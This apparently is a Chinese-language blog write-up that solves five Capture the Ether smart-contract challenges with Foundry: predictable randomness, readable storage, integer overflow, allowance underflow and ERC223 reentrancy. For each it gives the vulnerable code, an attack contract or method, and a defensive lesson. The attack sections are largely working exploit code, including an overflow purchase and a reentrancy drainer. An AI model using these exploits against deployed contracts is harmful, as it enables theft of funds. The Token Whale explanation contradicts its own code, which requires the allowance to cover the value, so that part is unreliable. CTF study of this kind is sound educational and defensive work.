Capture The Ether:5个以太坊智能合约漏洞实战(Foundry)
前言
Capture the Ether 是经典的以太坊智能合约CTF挑战平台,涵盖从基础到高级的多种漏洞类型。本文用 Foundry 框架复现其中5个挑战,并给出完整的攻击合约代码。
挑战一:Guess the Random Number
漏洞:链上伪随机数
contract GuessNewNumber {
function guess(uint8 n) public payable returns (bool pass) {
uint8 answer = uint8(uint256(keccak256(abi.encodePacked(
blockhash(block.number - 1), block.timestamp
))));
if (n == answer) {
msg.sender.call{value: 2 ether}("");
pass = true;
}
}
}
问题:blockhash 和 block.timestamp 都是公开信息,任何人都可以在同一区块内计算出答案。
攻击合约
contract ExploitContract {
GuessNewNumber public guessNewNumber;
function Exploit() public returns (uint8) {
// 在同一区块内,用相同的输入计算
uint8 answer = uint8(uint256(keccak256(abi.encodePacked(
blockhash(block.number - 1), block.timestamp
))));
return answer;
}
}
教训:永远不要在链上生成随机数。应该使用 Chainlink VRF 等链下预言机方案。
挑战二:Guess the Random Number (Storage版)
漏洞:链上存储可读
contract GuessRandomNumber {
uint8 answer; // 存储在slot 0
constructor() payable {
answer = uint8(uint256(keccak256(abi.encodePacked(
blockhash(block.number - 1), block.timestamp
))));
}
}
问题:answer 存储在链上,任何人可以通过 eth_getStorageAt 直接读取。
攻击方式
// 直接读取slot 0
const answer = await ethers.provider.getStorageAt(contractAddress, 0);
教训:链上存储的所有数据都是公开的,
private只是访问修饰符,不影响数据可见性。
挑战三:Token Sale(整数溢出)
漏洞:unchecked乘法溢出
function buy(uint256 numTokens) public payable returns (uint256) {
uint256 total = 0;
unchecked {
total += numTokens * PRICE_PER_TOKEN; // 可溢出!
}
require(msg.value == total);
balanceOf[msg.sender] += numTokens;
}
问题:Solidity 0.8+ 默认检查溢出,但 unchecked 块禁用了这个保护。
整数溢出攻击合约
function attack() public {
unchecked {
uint256 pricePerToken = 1 ether;
// 计算溢出后恰好等于很小值的token数量
uint256 numTokens = type(uint256).max / pricePerToken + 1;
uint256 cost = numTokens * pricePerToken; // 溢出! 实际≈0.416 ETH
tokenSale.buy{value: cost}(numTokens); // 用0.416 ETH买到海量token
tokenSale.sell(1); // 卖1个token取回1 ETH,净赚
}
}
数学原理:
numTokens = 2^256 / 10^18 + 1
cost = numTokens × 10^18 mod 2^256 ≈ 0.416 ETH
教训:
unchecked块需要格外小心。如果必须使用,要手动验证不会溢出。
挑战四:Token Whale(ERC20授权绕过)
漏洞:transferFrom中unchecked下溢
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]); // 溢出检查
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value; // unchecked! 可下溢
_transfer(to, value);
}
function _transfer(address to, uint256 value) internal {
unchecked {
balanceOf[msg.sender] -= value; // 这里也有问题
balanceOf[to] += value;
}
}
问题:_transfer 内部函数用 unchecked,且 transferFrom 的 allowance 扣减没有溢出保护。
攻击思路
- A 授权 B 1 token
- B 调用
transferFrom(A, B, 2)——allowance从1减2下溢为type(uint256).max - 现在 B 可以无限转走 A 的token
教训:ERC20实现必须用
SafeMath或确保所有减法在unchecked外。
挑战五:Token Bank(重入攻击)
漏洞:ERC223回调+状态更新顺序
contract TokenBankChallenge {
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);
require(token.transfer(msg.sender, amount)); // 先转账(触发回调)
unchecked {
balanceOf[msg.sender] -= amount; // 后更新状态
}
}
}
问题:ERC223的 transfer 会调用接收方的 tokenFallback,攻击者可以在此回调中重入 withdraw。
重入攻击合约
contract TokenBankAttacker {
TokenBankChallenge public challenge;
// ERC223回调:重入withdraw
function tokenFallback(address from, uint256 value, bytes calldata) external {
require(msg.sender == address(challenge.token()));
if (from != address(challenge)) return;
_callWithdraw(); // 重入!
}
function _callWithdraw() private {
uint256 myBalance = challenge.balanceOf(address(this));
uint256 bankBalance = challenge.token().balanceOf(address(challenge));
if (myBalance > 0 && bankBalance > 0) {
challenge.withdraw(myBalance < bankBalance ? myBalance : bankBalance);
}
}
}
攻击流程:
- 存入token →
tokenFallback触发 → 重入withdraw - 由于
balanceOf还没更新,require通过 - 反复提取,直到银行余额为0
教训:遵循 Checks-Effects-Interactions 模式。先更新状态,再进行外部调用。
漏洞类型总结
| 挑战 | 漏洞类型 | 根因 | 防御措施 |
|---|---|---|---|
| GuessNewNumber | 链上伪随机 | 链上数据公开 | Chainlink VRF |
| GuessRandomNumber | Storage读取 | private不隐藏数据 | 链下存储敏感数据 |
| TokenSale | 整数溢出 | unchecked禁用检查 | SafeMath或避免unchecked |
| TokenWhale | 授权绕过 | unchecked下溢 | 完整的溢出检查 |
| TokenBank | 重入攻击 | 状态更新顺序 | Checks-Effects-Interactions |
Foundry测试框架
每个挑战都配有Foundry测试文件:
contract GuessNewNumberTest is Test {
GuessNewNumber public challenge;
ExploitContract public exploit;
function setUp() public {
challenge = new GuessNewNumber{value: 1 ether}();
exploit = new ExploitContract();
}
function testExploit() public {
uint8 answer = exploit.Exploit();
challenge.guess{value: 1 ether}(answer);
assertTrue(challenge.isComplete());
}
}
运行测试:
forge test --match-contract GuessNewNumberTest -vvv
延伸阅读
- Capture the Ether —— 原始挑战平台
- SWC Registry —— 智能合约漏洞分类
- OpenZeppelin Contracts —— 安全的合约实现参考
- Slither —— 静态分析工具
代码仓库:
F:\202507\capture-the-ether-foundry,每个挑战独立目录,含合约+攻击+测试。
Stay tuned! 🚀